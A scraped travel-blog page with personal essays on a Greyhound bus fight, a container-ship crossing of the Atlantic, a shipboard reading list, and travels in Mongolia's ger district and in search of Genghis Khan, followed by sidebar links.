From behind a few pointed in my general direction.

“You, up, now!” Tiny, rotund Shawnda, bus driver to hell was about to take her wrath out on the impish she-bitch behind me.

“It wan’t me, I swear.”

“I can smell you bitch. Up now. Get yo’ bag an’ get offa my bus!” the bulk of her midsection shook into my shoulder and trapped my forearm on the rest. My eyes widened in disbelief mere inches away from her massive right breast. God, I thought, what engineering miracle of a bra that can withhold such magnificent and terrible mammaries!

The succubus whined, “But we in the middl’a nowhere?”

“I ain’t care. I warned ya. Didn’t I warn ya? Everyone, didn’t I warn ya’ll?”

Like a first grade class in unison, “Yes!”

“I didn’t do it. It was him. He has a knife.” she pointed at the guy across the aisle, Mr. blow job, who just smiled and shrugged. Shawnda looked at him, then back to the demon spawn, “Up, bitch, an’ get offa my bus ‘fore I call the cops!”

That got her attention. She rose slowly, her legs trembling, and reached into the overhead compartment for her bag. “Fine. I got ‘nother one under.”

“Get yo’ skinny junkie ass off my bus now!”

She must actually have a ventilation pipe up by her chair, but I truthfully didn’t know how Shawnda could smell anything. Intimate inches away from her, all I could catch were traces of the top notes of the aromatic citrus in her perfume, and the alkali scent of her relaxer.

Shawnda turned and sidled back to the front of the bus where with a puch of an air-powered button, the door opened with a relieving shoosh. The woman hesitated and then followed slowly, surely wondering what the hell she would do next. Shawnda trundled down the stairs and out the door, immediately turning right and walking halfway down the length of the bus, disappeared from view as she bent over and unlocked the luggage undercarriage and lifted the door, which covered the lower half of the window for two rows of seats. The woman edged her way down to the last step of the open door and peered out into the corn field nothingness surrounding. Shawnda turned and yelled something at the woman. The woman approached her and pointed into the luggage compartment, waiting for Shanwda to turn her back before swinging down at her with the edge of her fist. From my vantage point I could see through the tinted window as her face changed from pale surprise to sadistic grin. She began swinging wildly, arms flailing at Shawnda’s bulk, bent over and rendered invisible by the raised door. The entire bus shook as everyone shifted over to the right to watch in voyeuristic glee. Shawnda emerged from below the door, turned and swung hard at her attacker, landing a solid blow to her jaw that made the woman stumble back in obvious shock. Shawnda ran at her, ramming into her midsection like a linebacker tackling a running back, both of them falling into the rows of corn just off the side of the road. The shouts of the crown inside the bus increased as Shawnda managed to crawl on top of her and land another blow.

Next time, Try God

I made to move outside and separate them just as another rider—seemingly the only sane one in the bunch—did the same, shouting, “Are you all crazy? We have to stop this!” Turning my head for the merest of seconds to plot a course through the aisle of the melee within the bus to get to the melee outside the bus, I saw a shock of dirty blonde hair bolt in front of the bus and run into traffic. The woman had managed to get out from under Shawnda and was attempting to escape. Quicker than I could understand what was going on, the woman had gotten a speeding Mercedes to stop and allow her inside the car, no doubt with a lie about being attacked. Shawnda hopped back on the bus to a wild ruckus of reenactments of her struggle. Running a hand over her mussed hair, she got on the speaker and told everyone “Allright ya’ll, sorry about that there trouble, was sure nothing that happens all the time here on Greyhound. I told ya’ll no smokin’ and I mean it. I may be small, but I am one tough bitch! Enjoy the rest of ya’ll ride and thank you for ridin’ Greyhound.”

I couldn’t be sure where I might end up, when i might get there, or if the glint of Shawnda’s smoked yellow pupil gleaming in my general direction in the large rectangular rearview mirror suspended over the driver’s seat was real or a trick of the light, but what I could be sure of was that I had made it home, for good or ill.

Filed Under: Blog, The Americas, The Trip Overland, Travel Tagged With: America, Cross-country travel, Greyhound Bus, Overland Travel, Riding the dog, Riding the Dog – Across America by Greyhound Bus, Tripping Overland

May 11, 2011 By Brett 6 Comments

Sailing Across the World – the Obligatory Trans-Atlantic Container Ship Experience

…we live in a universe whose age we can’t quite compute, surrounded by stars whose distances we don’t altogether know, filled with matter we can’t identify, operating in conformance with physical laws whose properties we don’t truly understand.

A Short History of Nearly Everything, Bill Bryson (Broadway Books, 2003)

Crossing the Atlantic Ocean by Container Ship

You live in a house. Next to another vaguely similar house. In a homogeneous row of houses that make up a neighborhood in a town or city where everything points you toward getting through the day. There’s no time to think about anything but getting up for work so you have money to go shopping so you can eat at least two to three times a day to continue working to pay the bills on the house you have. The one that’s next to the other vaguely similar house, wherein resides the kindred folk who much like you, don’t really know their themselves, let alone their neighbors. There’s no time.

Wherever people live, in whatever country, rich or poor, nomadic or sedentary, the overriding theme of modern living is get born, get a job, get dead. No thinking allowed. There’s no time. What with taking care of all of the little problems nipping at your heels like hyenas waiting for their chance to rip you to shreds since the day you realized you were a living thing, what else is there to do but tough it out, keep your head down and weather the storm. When those fat cumulonimbus thunderheads pass the vultures will circle back waiting for whatever is will be that does you in to do you in so that they can get theirs. There is no variation on life in which this scenario does not play out. But who’s got time to think about all that depressing muck when the bills are due? Again!

More than mere bills, we are plagued by questions: What do you do? How much is it? Who am I? What’s for dinner? What’s this thing on my neck? More than coming up with creative machinations to the incessant questions, if we were to have the time, what would we think about? What we would like to be? How can you just be? There is work to do. Bills to pay. Joneses up with whom to keep.

Day One

Boarding at port of Le Havre, France before crossing the Atlantic Ocean by Container Ship

This is common—not knowing what time it is. I haven’t known what time, let alone what day, or sometimes even what month, it is for longer than I can say. Of course I can tell you roughly what time it is if I have to. I can also tell you how to figure out what direction you are heading (Point the hour hand of your watch—if you have one—toward the sun and find the midpoint between that and the twelve o’clock: that is south in the northern hemisphere). You could too if you had the time to figure it out. The point is not how to figure these things out, though that is useful, the point is how quickly you can recall knowing where you are and what things are like there, for example, the sun doesn’t set in Europe until ten or eleven pm in the summer, even later the further north you venture. In fact, so long does the sun linger in the French summertime, eight pm feels like two in the afternoon. And, though I didn’t know it, eight pm was when I finally arrived at the harbor where the ship I had booked passage on was being loaded with cargo containers by three massive machine arms, sliding in mechanic fluidity along a guided track back and forth, a beautiful repetition which mesmerized me from my D Deck cabin porthole for longer than I can remember.

The clock on the wall read just after nine before I realized that I was no longer in France or Europe (though technically I was, my mind was toiling about in Nomandsland*), but was actually on board the ship that was to take me across the Atlantic ocean to Boston and my port of call in New York. Whereas now I saw a sea of cargo containers fading all the way to the eastern horizon, and to the north and south just more mechanical arms waiting to lade the bellies of the steel whales lining the port’s mouth, it would be from this window that I would see nothing but western ocean and sky, waves and clouds for the next seven to ten days. No more the days a succession of buses, trains and ferries toward some faraway target. No more stopping at the corner markets and produce stands, picking up cheese, sardines and bread, fruit and vegetables for the day’s meal. No more beers washing down soggy sandwiches made hours or even days before while sitting on cement stairs and sidewalk stoops leading to apartment buildings filled with people I will never meet in cities across Europe and Asia I may never go to again. I popped the cork on a bottle of Jenlain, an especially fizzy amber French beer, and pouring myself a glassful, shouted a toast of, “A votre sante!” to the sky, the sea, and nothing in particular, still and always alone, and as usual, I drank it down.

Jenlain Bière de Garde 7.5% ABV

Day Three:

Having never been out to open sea before, at some point I expected to emerge from my cabin to panoramic blue skies filled with armadas of puffy cumulus clouds combining with the bracing aroma of salt coming from the slight lapping of the otherwise glassy Atlantic waters to descend upon our small party of internationals and escort us ladylike into Boston Harbor. One of the first things you learn about the sea is that any and all expectations should be like so much flotsam to be jettisoned overboard the first sign of troubled waters. I should have known what I was getting into when I was notified one week prior to our departure date that “MSC regrets to inform you that the Tanzania will be delayed by at least one week and you will be informed in the next few days as to when your exact date should be. Here is your ticket…” which, under departure, read, “Approx. 03/07/10 – 05/07/10.”

Luckily, after deciphering the nebulous French payphone system, I ascertained that the ship had sailed from Antwerp earlier than planned (which is to say it left on time) and as such were docking in Le Havre near midday as possible on July third, and departure would be 23:30 of the same day. My question, “When do we arrive in Boston?” was finally answered, in a way, after arriving in the quaint port city of Le Havre, and wandering around lost in the harbor area, reading over and over again the large flag-shaped sign “La Porte d’Europa.” I finally managed to get a taxi, make it out to the freighter ship area outside of town, board the ship, find my cabin, get drunk on the last of the Belgian beer I had while watching Under Siege, pass out, wake up in the middle of the night not knowing where I was (somewhere in the English Channel), miss breakfast, stumble about the ship sobering up on sea-spray until I fell into the depths of the engine room only to be led back up to the officer’s mess where I missed lunch but found the captain, dressed in jeans and a white t-shirt, who introduced himself in German-accented English and said we could be arriving in Boston anywhere from the tenth to the fifteenth, and, depending on scheduling, cranky, self-important American customs officials, immigration restrictions, union trouble, or any of a host of other specifically North American issues, we could have problems, so who knows, actually, but anyway, tomorrow we will smoke some fish we caught in port yesterday, so that will be very okay. Good? Good.

Climbing aboard the MSC Tanzania

“Javol Kapitan, das boot ist gut, nein?”

“Wunderbar, sie sprechen Deutsche!” I smiled and feigned comprehension with nods and laughs timed to match his as he machine-gunned German at me like a Krautrock record played on 66. I used the Filipino steward’s pidgin English interruption to switch back to English, mentioning that my skills as a photographer were at his disposal. Smiling oddly, he handed me off to the third mate, who had just approached, as big eyes and wide grins led to pats on the back and promises of smooth sailing, and before disappearing up the stairs toward the bridge, he offered a final, “Willkommen an Bord das Schiff. Wir werden einen Wein und Käse Party heute Abend. Hier bei 6.00.”

“What was that all about?” I asked the third mate. The dark-haired German, who was just out of engineering school and wearing a faded 2Fast 2Furious t-shirt and well-worn blue jeans, motioned me out into the hallway, “He’s always excited when we have cheese. The party tonight…it’s at six instead of the usual 5:30 dinner. Wine and cheese…lots of cheese! In the meantime,” he gestured me toward the starboard deck with big bright eyes, “this is the muster station. This is where we meet in the event of an…”

My mind wandered to thoughts of the gold-rinded Epoisses as he explained the emergency procedures which I would need to know in case of an engine fire, hitting an iceberg, or anything else which would necessitate abandoning ship. As he spoke about the typical procedures I would eventually have to sign off on, I transplanted our freighter, once composed of riveted and welded metals but now a warm crusty baguette, to floating upon an ocean of Morbier, which connected the seven seas of Livarot to the aged Roquefort continent, through which flowed the well-known Brie river out of the snowy Camembert mountains. Before our departure onto the sea of fondue, standing upon the great Gruyere plateaus one could see for miles the vast Gorgonzola plains leading to the thick forests of Chevre beyond which lay the eastern gold of Mimolette valley. Despite the refined elegance and artistry, not to mention the lusty provenance of old Europa, ahh, how I longed to see the melting pot of my birth. Famous for the numerous and delicious blends of new age Cheddars and Jacks which might go far in boldly finishing off the gringo-style quesadilla I had grown up with and longed for once again, my arrival on that cheese-whiz cracker of a country would not hold a cheesecake candle to the depth and flavor in the brass Fondue pot of our Old World roots: Edam, Gouda, Comte, Parmesan, Pecorino, Reggiano, Mozzarella, Tortadellazar, Escharenne, Emental, Havarti, Swiss, hell, even Dananbleu, curds, and more, so much more.

Entering New York Harbor after crossing the Atlantic Ocean by Container Ship

Like a swell overtaking smaller set of waves, I felt them coming long before the effects could be seen, but like animals before a storm, I knew what was about to take place. Excusing myself from and ignorant of the mostly finished safety tour of our container ship tour, I nodded quickly to the mystified third mate still in mid-sentence, “There is no doctor on board, so in the case of a medical…” darted out the door to the ship’s deck and jogged along until I reached the bow of the ship. Hidden by a wall of shipping containers, with that steel arrowhead lurching forward through the formidable blackness, like cheese-wire through a room temperature Maroilles, I found the solitude I needed to let out the tears which had for so long, through deaths of loved ones as well as emotional break-ups with lovers, stayed pent up inside. I wept tears unrepentant as any man may for two reasons: out of joy and out of sorrow. Out of joy, for soon I was to be reunited with a giving, if inexperienced new lover, and out of sorrow, for soon I would find myself a partner in one final night of romance with my faithful European mistress for who knows how long. As we sped toward some unknowable dead reckoning through the aqua-blue tinted waves, the cresting white peaks of which broke upon our hull and, in seeming defiance of gravity, rained down on me with a persistent and fine mist of sea-spray in the wind, that strong gale force having just arrived with a fog as substantial as if distant land dawning on the horizon, and with it, out of the approaching bank, on the low end of the spectrum sounded the words, “Beware: bittersweet are the long days and longer nights at sea.”

: How to strap on a life vest

: Charting the English Channel

: Our bearing from Le Havre, France to New York

: The ship’s pool, filled with seawater

: Better get a mask on…

: Shots of Jagermeister & smoked Trout

: Passengers taking a mandatory rescue lesson

: The exercise room

: The port of Elizabeth at Newark, New Jersey

: Entering the Narrows one gets a miraculous view of New York

: A steward BBQs squid and other meat for a party

: Climbing aboard the MSC Tanzania

: One of the uncovered lifeboats

: Most any dot on radar is a wave…

: Running 18.3 knots

*Nomandsland – A place where you cannot stay, but can only rest as you slowly pass through to the other side. This place is not for any man, but for the wanderers, vagrants and the nomads.

Filed Under: Sailing, The Trip Overland, Travel Tagged With: Cargo Ship, Container Ship Travel, intermodal freight transport, Overland Travel, Round the World Trip, Sailing, Shipping, Trans-Atlantic Container Ship, Travel Across the World, Tripping Overland

March 20, 2011 By Brett 4 Comments

Books To Sail To

A few literary suggestions to quench your thirst for adventure.

From my Sealog:

Over the next three days I drank as much of the steward’s horrible coffee—a diuretic—as I could possibly choke down. This, coupled with ransacking the library for what hard-boiled detective novels as well as any and all spy thrillers I could find, served to allay my hand from the ship’s well-stocked stores of alcohol. As well as the fact that I had spent all of my money on cheese before departing France made this seemingly Odyssean effort of ignoring the Siren of the sea—and here I mean Rum—much easier to accomplish than one would think.

I scanned through Agatha Christie and Caleb Carr like a warm knife through so much Camembert, which I partook in liberally as well. I conquered Ian Rankin and John le Carré, Ludlum’s Bourne Trilogy (at over 1400 pages this book was physically demanding to life, let alone read) and I even found time for A Traveller’s History of Russia as well as the latest Yann (Yawn) Martell pooh pooh. Thankfully there were no Paolo Coelho novels or I might have given myself up willingly to the siren voices calling out to sea.

I have a rule: no more than one book at a time. Despite the fact that I generally read anywhere from two to four books at a time, when walking down the long road that ends at the sea, it’s to much to carry more than one. If your one happens to be Infinite Jest that might be too much as well.

Here is the list—in order—of what I read as I left Japan and ended up in California:

Cloud Atlas – David Mitchell (Hodder & Stoughton, 2004)
Shantaram – Gregory David Roberts (Scribe, 2003)
Budding Prospects – T.C. Boyle (Penguin, 1984)
Genghis Khan & The Making of the Modern World – Jack Weatherford (Crown, 2004)
Into Thin Air: A Personal Account of the Mt. Everest Disaster – Jon Krakauer (1999, Anchor Books/Doubleday)
The Rise and Fall of the British Empire – Lawrence James (St. Martin’s Griffin, 1997)
Freakonomics: A Rogue Economist Explores the Hidden Side of Everything – Steven Levitt & Stephen J. Dubner (William Morrow & Co., 2005)
The Power of Myth – Joseph Campbell (Anchor Books/Doubleday, 1988)
The Blunderer – Patricia Highsmith (W.W. Norton & Co., 1954)
Los Detectives Salvajes – Roberto Bolaño (Picador, 1998)
Tree of Smoke Denis Johnson (Farrar, Straus and Giroux, 2007)
Dashiell Hammett Complete Novels: Red Harvest, The Dain Curse, The Maltese Falcon, The Glass Key, and The Thin Man – Dashiell Hammett (Library of America, 1999)
Dark Star Safari – Paul Theroux (Penguin, 2003)

Even out at open sea there are signs of life

All of the aforementioned books were each excellent in their own way. If you have any suggestions to add, or a comment on the list, please feel free to comment below or let me know at info (at) willwalkforsex (dot) com.

Thanks! Read on!

Filed Under: The Trip Overland Tagged With: All Content © Manny Santiago, Books, Europe, HESO Magazine, Overland Travel, Reading, The Trip, Trans-Atlantic Container Ship, Travel Books

June 9, 2010 By Brett 2 Comments

Trekking Mongolia – Chasing the Great Khan Pt. 2 – the Ger District

The night spreads over tthe Ger District of Ulan Bator, Mongolia

A lone Ger in the floodplain near the Ger District, Ulan Bator, Mongolia

Space–even in the flood plain–is a commodity in the Ger District

The only thing tougher than the Mongolian people is the land. Finally arriving in Ulan Bator after the thirty hour overnight train from Beijing one quickly sees just how rugged the country still is: littered with the carcasses of all kinds of livestock from the harshest winter in ten years, the sere high-desert landscape (over 1500 meters) is southern California brown well into late May. Forget the slow trudging through Inner Mongolia (technically China) and the imperceptibly changing terrain slowly arcing along the western edge of the Gobi desert – ostensibly a wasteland for ruined Chinese settlements and the government subsidized farmers vainly trying to assuage the pounding winds carrying sand westward by planting trees – U.B. (as it’s known around town) is the wild American west of the 19th century transplanted 10,000 kilometers away in 21st century central Asia.

No signs nor announcements signal the capital to the expectant passengers. If it weren’t for the mass exodus I likely would’ve gone on to Ulan Ude, Irkustk and the Siberian frontier – still well frozen – a month early. Stepping off the train into the chaos of the platform is reminiscent of the bedlam of Morocco, the lawlessness of eastern Europe, the anarchy of Thailand and Indonesia in Asia, because well, Americans have no point of reference for this peripheral train culture, as we no longer have an efficient intra-national train system, nor a culture that actually espouses actually talking to strangers. Though more than just talk, it’s a kind of hard Brokeback Mountain-style frisk you would do well to accustom yourself to early on the steppe, as you are immediately pushed by the exiting Chinese day-laborers behind you into the crowd of vendors, hawkers, money-changers, taxi-drivers, hostel-owners, pickpocketers, hands hands hands everywhere and all of them screaming at you in Chinese, Russian, Mongolian and surprisingly competent English. This is the first test of the itinerant independent journalist: get through the scrum alive, with all your cash and maybe a ride somewhere with Wi-fi and a cool beer, and you can handle anything.

Or so you think.

It’s clear after a few minutes that walking from the train station into town is a bad idea. In no particular order, for several reasons:

Roving packs of dogs
Large groups of angry, unshaven men drinking vodka & eying me suspiciously
20 kilo rucksack
I have no idea where I’m going

Luckily the beard seems to be the solution to all of them, keeping both the dogs and men at bay (for now), providing the impetus to push on, while driving me like a divining rod, toward beer rather than water. Twenty minutes and a sandstorm later, I find the Great Khan Irish Pub just east of the Mongolian Circus in the center of town, pull up a chair, order a Genghis Khan draft, noting that the market for contact lenses must be infinitesimally small, though it strikes me that almost no one is wearing anything other than sunglasses, even inside. Could it be that in one of the last outposts of selective modernization that western problems like myopia and lactose-intolerance have not penetrated this far? Something to mull over as I wait for Selenge, the daughter of the family in whose house in the Ger district I had arranged to stay in for the next week.

She showed up promptly at six and after drinking my last beer of the month (though I didn’t know it then) we left to catch a bus to the other side of the Tuul river where her family lived.

“You should watch your pockets. So many poor people, so many pickpockets here, especially on bus. Like him.” She pointed down at the old man sitting slumped over in the raised chair above the rear wheel well, his weathered hand rock steady at purse level, his face, old and innocent, a perfect combination to catch unsuspecting riders crammed in the hot, overcrowded bus. Alerted to the danger, I steeled myself best as I could, but was still shocked and absorbed by the scenes of urban decay passing before me as we crawled through the maddeningly slow traffic: crumbling Soviet-era apartment buildings lined the broken sidewalks, roads with potholes the size of the occasional wandering cow drivers would have to impatiently wait for or go around, the blaring cacophony of cars honking at the slightest annoyance, which were manifold. The city seemed like a slowly recovering war zone. But what enemy had wreaked such destruction? And from what war?

Mongolia, a country of roughly three million, half of whom live in the the capital, has nearly one million herders. Which is to say that-much like their ancestors- one third of the population are nomads. According to recent United Nations disaster relief effort reports, approximately 17-20 percent, that is about eight million cows, yaks, camels, horses, goats and sheep, died this year due to unusually heavy snows. This, coupled with last summer’s drought, has brought on what is known as Zud, a natural disaster of huge proportions for the Mongolians, more and more of whom are moving into the city’s ever-extending “suburbs” of the Ger District.

It’s a dog eat dog world in the ger district

Made up of wooden latticework endo-skeleton and wrapped in several layers of felt, these portable white tents -the traditional abode of the Mongolian nomad known as Ger- make up the majority of the neighborhoods lining the fringes of Ulan Bator. Beside the ubiquitous white domes, the district is a massive patchwork of homemade houses, each of which sits on a foundation of hard-packed mud and is fenced in with any number of materials, often using the dismantled walls of intermodal cargo containers, scrap metal and random pieces of wood to keep locals, and the many packs of wild dogs, out. Selenge’s immediate family of five lived in one of these houses about midway through the ward, which stretched on for miles into the distant hillsides.

“We moved here nine years ago. At that time there was no one behind us. My uncles built the house as a gift for my father.” The house, three rooms separated by two walls, one of which is connected to the wood-burning stove and acts as central heater / chimney, has no running water, toilet and gets its electricity from a wire spliced to one of the utility poles- basically a creatively engineered branchless tree trunk supported by wooden pylons- lining the rutted mud roads. From the skylights and smokestacks of the gers a mixture of light and smoke surged toward the dusk-lit sky as the sound of televisions and radios poured like the aromas of meat cooking in the kitchens of each house we passed. The small general stores teemed with customers stocking up on milk, yogurt and supplies for the evening meal, while hundreds of locals made their way here and their with their weekly barrels of water, bundles of coal and wood, and bottles of cheap vodka for the chilly May night ahead. This ramshackle, refugee-style ghetto is home to hundreds of thousands and is getting bigger by the day.

Much like the “bust” of the boom and bust global economy of the past century, the zud seems to happen about once a decade. That’s all well and good if it can be depended on and prepared for, but they’re gradually getting worse and taking unpredictable shapes. Mongolian steppes are firsthand evidence that there is much more to climate change than the misnomer of “global warming”. As Thomas Friedman stated in Hot, Flat & Crowded, “Global Weirding” is much closer to the reality of the situation. More than mere inhospitable weather to be shrugged off with hopes of a green spring, winters here are getting longer and colder, the winds blow stronger and the drier summers don’t necessarily bring the rain like they once did.

The night spreads over the Ger District of Ulan Bator, Mongolia

Selenge, a teacher at the local international school, is brutally honest in her description of the harshness of city life. “It’s bad. There used to no one behind us. Now we’re surrounded. It’s crowded and so much traffic. Everyone comes from the countryside. They’re all herdsmen, but now they don’t herd and they don’t know anything else to do. So they drink. Even young people now. I see so many children drunk. It’s very very bad.”

Despite the ominous signs pointing at an emerging region of the city making up more than half of the population that is neglected by a government which cannot necessarily do anything to provide drinkable water, sanitary sewage treatment, and drivable roads, there is an overwhelming glow of warmth and happiness emanating from Selenge’s home and her family within: her father and mother, the aged and weathered patriarchs of the three young sisters who giggle and talk incessantly while cleaning and getting dinner ready for the five of them, plus their uncle, his wife and thirteen-month old baby and one more teenage cousin who live in the ger in the front yard. Nine people, plus me, all revolving like celestial bodies in proper time and space around a kitchen table made to seat three at best. A table which is full of homemade Mongolian fixtures: Buuz, a steamed dumpling of minced beef and oxtail meat, onions and fat, Khuushur, a fried dumpling similar to a pirogi or borek, Boortsog, fried lumps of dough, and Süütei Tsai, the ever-present milt tea, which is often combined with rice or noodles, meat and fat to make stews like Tsuivan and Budaatai huurga. The table is the center of the familial solar system and the fuel with with their sun burns is a combination of dairy and meat from any of their six main animals: sheep, goat, cows, yaks, horses, and camels. What may sound overly focused on dairy and meat is an artful blending of the limited options the harsh climate and hard steppe- which doesn’t yield many vegetables- has offered these sturdy people for more than a millennium, and needs to be tasted firsthand to be appreciated.

After urging more milk tea on me (I haven’t drank cow’s milk in more than five years but they insist it’s “good for cleaning my stomach”), the family soon settled in to their various after-dinner activities while I popped outside to visit the outhouse. As there are no streets so there are no street lights the night is pitch black, except for the twinkling of the brightest stars I have seen in years. So dark out that I could barely see my hands before me and reminded of all that I had just witnessed- the impoverished and out of place herdsmen, the eroding buildings and sidewalks, the derelict ger district- had been obscured by the inky darkness and now seemed like a faraway dream. It wasn’t until the next day at dawn when I followed the father up to the peak of the local hill- probably 2000 meters above sea level- that the district spread out like a blanket unfolding in the rising sunlight. Though the far off city center showed some old Russian-built ten to twenty story apartment complexes, the vast majority of Mongolians still build in the manner of their forebears: flat and outward. As the prayer flags flapped in the breezy stillness of the early morning there was a pristine peace which would not hold: there is much work to do. I knew that to understand what has worked in the vast open grasslands of the country’s largely unpopulated interior, though is clearly not sustainable as the capital beefs and swells with refugees from an unforgiving yet beloved country, I would need to venture out onto the steppe.

Filed Under: Asia, Blog, Mongolia, The Trip Overland, Travel Tagged With: central asia, Ger District, gobi desert, inner mongolia, Mongolia, Nomad, Nomadicism, Outer Mongolia, Overland Travel, Trans-Mongolian Express, Tripping Overland, Ulan Bator, Yurt

May 21, 2010 By Brett 4 Comments

Chasing the Great Khan – Trekking Mongolia Pt. 1

Crossing the World Word by Word

It was my grandmother who started me on crosswords. Not so much by saying they were good for your vocabulary, memory and meeting sexy librarians, which they are, but more so by her actions. The rare morning I crawled out of bed before seven am, just watching her sitting on the couch occasionally sipping her steaming coffee in the morning light, the only sounds the scratching of her pen filling in gray newspaper blanks both across and down, filled me with an indescribable sense of peace. Rather than idle time it seemed a kind of meditation to me and I immediately took it up, to the confusion of my university friends, who figured I was merely affecting an attitude rather than attempting a brand of, albeit convolutedly western, yoga. To the contrary, and despite the difficult first few years in which I made more messes than anything else, the heart of it has has stuck with me: crosswording is codebreaking. I now wish I, like the infamous New York Times Crossword Editor Will Shortz, could have majored in Enigmatology, but I wanted to get laid in college, so I studied art and acted weird, saving the variety of clues, the dialects, regionalism and themes that inevitably find their way into the puzzles of crosswords for the privacy of the early morning. The pages of the Sunday L.A. Times Magazine crossword edited by Merl Reagle are streaked with mostly entertaining witticisms and pop culture references, yet it was his faraway sounding clues like the four-letter “Old Thailand” and the nine-letter “Asian Capital” rather than the three-letter “Dodger Ron” and the four letter “Nick & Nora’s dog” that got me interested in popping out of my southern California university bubble and seeing the world. In fact it was seven-letter “Great Khan”, one of the more intriguing loan word combos I had ever heard, which piqued my interest in chucking the daily grind of nine to five office rigmarole after graduation and moving to Asia, in effect beginning my search for the Great Khan himself.

Alternatively passing through the steamy flesh joints and semi-tropical jungles of Thailand and Laos, the boisterous mercantilism and cluttered countryside of China, and residing for more than a few years within the sere austerity and drunken fratboy culture of two-faced Japan, it often felt more like I was checking off a pedantic “to do” list of errands than whittling away at any remaining Asian mystery. Had everything been dug up, dusted off, polished, restored, repainted, museumed and essentially decoded hundreds of years before my family had even settled in California? What chance did a modern would be enigmatologist have finding mystery in virtually integrated global communities wirelessly interconnected by sophisticated information superhighways networking digital publishing protocols rendering analogues irrelevant?

Where is he, Fidel?

None, that is, until the semiotician Umberto Eco’s excellent collection of essays Serendipities: Language & Lunacy fell into my lap, in which he writes about the hoax of the mysterious Minister-King Prester John’s Letter, which may have at least in part drawn the Polo family, and specifically Marco, to their infamous travels in central Asia, and how the latter mistook the former (who never existed) as the leader of Genghis Khan’s patron tribe, his adoptive father, so to speak, whom Genghis, like everyone else who opposed him, had to kill. Eco’s point is that history is written and often rewritten to fit the facts, or hoaxes, as they may be, which happens more often than we think. Serendipities jogged my memory with its esoteric references to “Tartars”, the oft-used though incorrect appellation I had read in Henry Miller’s Black Spring, Thoreau’s Walden, and Polo’s own The Travels of Marco Polo. Aha!

This lead me to look into what the “real” story of the great khan was: who was he- Tartar? No. Where did he come from? Mongolia, sure, but specifically, who knew? Were all of the largely allegorical stories heard while growing up in California where the extent of his culture, so I thought, was the Mongolian BBQ joint boasting freeze-dried meat we visited once a month, true? Was he, as Voltaire suggested, a barbarian? Wait, weren’t they German? So many questions, so I started looking and, living in Japan, figured I would start with the popular “kamikaze” theory, the so called divine wind some Japanese use to mythologize the repelling of Khubilai’s Korea-launched Mongol ships. In In Little Need of Divine Intervention: Takesaki Suenaga’s Scrolls of the Mongol Invasions of Japan, Thomas Conlan writes, “…the notion of the ‘divine winds’ represented a function of the medieval mindset, which emphasized otherworldly causality, rather than a caustic commentary on the ineptitude of the Japanese defenders…”

The Secret History of the Mongols (Anonymous, 1227)

So the ancient Japanese were superstitious. Great. Didn’t answer my question, but Conlan did lead me to perhaps the only piece of Mongolian literature that ever turned out to be a big deal: The Secret History of the Mongols. Which does tell me that by the time of the unsuccessful naval expeditions A) Genghis was long dead and B) he probably wouldn’t have done it in the same way or, likely, at all, though that’s another story. Back to The Secret History of the Mongols: what a name for a budding Riddler to chew on! After excerpting it (a translation of the Russian version translated from a copy of the original Chinese script copy of the long lost Mongol original), the anonymous writer was either Christian (as were many Mongols) or had likely read parts of the Bible, as it stinks of Psalmy hyperbole and overuses allegorical mythology in places, though that said, it also tells the story of the Great Khan. It documents his rise from lowly steppe castoff to leader of the largest empire the world has ever known, and everything in between. Yet the book, as most do, lacks meat, blood, sex, all things vital to the Genghis’ Asian conquest, by the very fact of it being something one reads, sitting in a chair with a sensible shirt, quizzical looks aface and thoughts of getting drunk with smiling women sometime in the near future. My point is, why stare at the scrotum of the goat when you can eat the goat’s balls, crispy and fried and washed down with fermented mare’s milk surrounded by the same mountains as Genghis on the vast green steppe beneath the eternal blue sky?

So I went. And I ate.

And here I sit beneath that same blue sky in which warm breezes push puffy flotillas of cumulus clouds and their fat shadows across green foothills where graze teams of horses and kines of cows, herds of goats and flocks of sheep, the lifeblood of the Mongolian livelihood. I am in the guts of it, the living, breathing orgasmic center of the natural world. Finally, a place where literature has no meaning and newspapers have no readership, where roads and electricity and toilets and running water are far-off luxuries rather than daily assumptions. A place, maybe the last one, where a couple million people live in the same style of felt ger huts in the same nomadic fashion as did their steppe-dwelling Hun ancestors: where you rise and retire with the sun, sleep on the floor, consume massive amounts of fermented yogurt, butter, milk and other dairy products (though very few vegetables), and can set up hut anywhere since there is no concept of land ownership.

What’s an eight-letter word for amazing?

Hint: It starts with an “M_ _ _ _ _ _ _”.

Other answers: (Siam) (Ulan Bator) (Cey) (Asta) (Genghis)

Filed Under: Asia, Blog, Mongolia, The Trip Overland, Travel Tagged With: Crossword Puzzles, Enigmatology, Genghis Khan, Great Khan, history of the mongols, Mongolia, Overland Travel, Tripping Overland

Getting High in Humboldt

On Packing Up On Moving On – Tripping Overland Up North

Death in San Francisco

“East is East, and West is San Francisco.”

— O.Henry

“San Francisco itself is art, above all literary art. Every block is a short story, every hill a novel. Every home a poem, every dweller within immortal. That is the whole truth.”

— William Saroyan

Dames and Drinks the Best of 2011

The Trip Overland Hacked via the Timthumb Vulnerability

Riding the Dog – Across America by Greyhound Bus

Sailing Across the World – the Obligatory Trans-Atlantic Container Ship Experience

Books To Sail To

Trekking Mongolia – Chasing the Great Khan Pt. 2 – the Ger District

Chasing the Great Khan – Trekking Mongolia Pt. 1

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Archives

“East is East, and West is San Francisco.” — O.Henry

“San Francisco itself is art, above all literary art. Every block is a short story, every hill a novel. Every home a poem, every dweller within immortal. That is the whole truth.” — William Saroyan

Top Posts & Pages

Archives

“East is East, and West is San Francisco.”

— O.Henry

“San Francisco itself is art, above all literary art. Every block is a short story, every hill a novel. Every home a poem, every dweller within immortal. That is the whole truth.”

— William Saroyan